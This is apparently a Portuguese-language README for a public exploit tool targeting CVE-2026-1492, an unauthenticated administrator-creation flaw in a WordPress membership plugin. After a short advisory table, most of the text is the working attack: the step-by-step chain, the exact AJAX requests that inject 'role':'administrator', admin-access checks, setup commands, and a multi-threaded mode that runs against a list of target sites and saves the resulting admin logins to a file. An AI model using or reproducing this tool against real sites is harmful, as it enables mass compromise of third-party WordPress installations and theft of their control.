
User Registration & Membership <= 5.1.2 - Escalação de Privilégios não Autenticada via Registro de Associação
User Registration & Membership <= 5.1.2 - Escalada de Privilégios Não Autenticada via Registro de Associação
| Campo | Detalhes |
|---|---|
| CVE ID | CVE-2026-1492 |
| Severidade | CRÍTICA — Pontuação CVSS v3.1: 9.8 |
| Vetor | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CNA | Wordfence |
| Software Afetado | User Registration & Membership — Construtor de Formulário de Registro Personalizado, Formulário de Login Personalizado, Perfil de Usuário, Plugin de Restrição de Conteúdo e Associação para WordPress |
| Versões Afetadas | Todas as versões até e incluindo a 5.1.2 |
| Tipo de Vulnerabilidade | Gerenciamento Inadequado de Privilégios — Criação Não Autenticada de Conta de Administrador |
| Autenticação Necessária | Nenhuma |
| CWE | CWE-269: Gerenciamento Inadequado de Privilégios |
Descrição:
O plugin User Registration & Membership para WordPress é vulnerável à Escalada de Privilégios Não Autenticada em todas as versões até e incluindo a 5.1.2. A vulnerabilidade decorre do manipulador AJAX user_registration_membership_register_member aceitar um valor de role fornecido pelo usuário durante o processo de registro de associação, sem impor nenhuma lista de permissões ou verificação de capacidade no lado do servidor. Um atacante remoto completamente não autenticado pode criar uma cadeia de solicitações AJAX em múltiplas etapas — primeiro registrando uma nova conta de usuário e depois enviando uma chamada register_member maliciosa com "role": "administrator" injetado no payload JSON members_data — para criar silenciosamente uma conta de Administrador do WordPress com privilégios totais. Isso resulta no comprometimento completo da instalação WordPress afetada, sem exigir nenhuma interação do usuário.
Este é um script de exploração Proof-of-Concept (PoC) que implementa uma cadeia de ataque completa com ciência de estado contra sites WordPress que executam uma versão vulnerável do plugin User Registration & Membership. A ferramenta realiza exploração inteligente em múltiplos estágios, com descoberta automática, extração de planos, coleta de nonces, registro em fluxo duplo, injeção de função e verificação de administrador.
[Discovery Phase]
GET /membership-pricing/ → Extract membership plan IDs
GET /registration/ → Extract form fields, nonces, AJAX params
↓
[Registration Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
→ Register new user account
↓
[Role Injection Phase — Flow A]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator", "membership":"<id>", ...}
→ Inject administrator role into newly created account
↓
[Admin Verification Phase]
GET /wp-admin/ → Check for admin dashboard indicators
GET /wp-admin/plugin-install.php → Confirm plugin-install access
↓
[Fallback Override — Flow B]
If Flow A admin check fails → repeat with fresh username/email
↓
[Write to Nx_admin.txt]
Format: https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
Ou pelo arquivo de requirements:
pip install -r requirements.txt
requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Clone the repository
git clone https://github.com/Nxploited/CVE-2026-1492.git
cd CVE-2026-1492
# Install dependencies
pip install -r requirements.txt
# Run the tool
python3 CVE-2026-1492.py
python3 CVE-2026-1492.py
A ferramenta usa uma interface de terminal totalmente interativa desenvolvida com Rich. Todos os parâmetros são solicitados em tempo de execução.
Crie um arquivo de texto simples (padrão: list.txt) com um alvo por linha:
https://target1.com
https://target2.com
http://target3.com/wordpress
Targets file [list.txt]: list.txt
Credentials:
- Username prefix: random number is added per site (fresh user per target/plan/flow)
- Email: if left empty, it will be built from the username automatically
- Password: fixed for all sites
Username prefix (optional): Nxploited
Email (optional):
Password [Nx_12999]: Nx_12999
Threads [3]: 5
HTTP timeout (seconds) [10]: 10
A ferramenta descobre e analisa automaticamente:
| Alvo | O Que É Extraído |
|---|---|
/membership-pricing/ | IDs dos planos de associação, links da página de registro |
/registration/ | Campos do formulário, nonces, URLs AJAX, campos de rádio da associação |
Objeto JS user_registration_params | ajax_url, nonce security, metadados do formulário |
ur_membership_frontend_localized_data | Nonce específico da associação, endpoint AJAX |
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_user_form_submit
&form_data=[{"field_name":"user_login","value":"Nxploited_A_482910",...}]
&form_id=1
&ur_frontend_form_nonce=<extracted_nonce>
&security=<extracted_security>
&is_membership_active=<membership_id>
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
action=user_registration_membership_register_member
&members_data={"membership":"<id>","payment_method":"free","role":"administrator","username":"Nxploited_A_482910",...}
&form_response={...}
&_wpnonce=<membership_nonce>
&security=<membership_nonce>
⚠️ O servidor aceita o campo
rolevindo do cliente sem nenhuma validação de lista de permissões — esta é a causa raiz do CVE-2026-1492.
A ferramenta abre uma nova sessão, faz login com as credenciais recém-criadas e verifica:
| Endpoint | Indicador Verificado |
|---|---|
/wp-admin/ | adminmenu, wp-admin-bar, manage_options |
/wp-admin/users.php | users.php |
/wp-admin/plugin-install.php | upload-plugin, plugin-install-tab |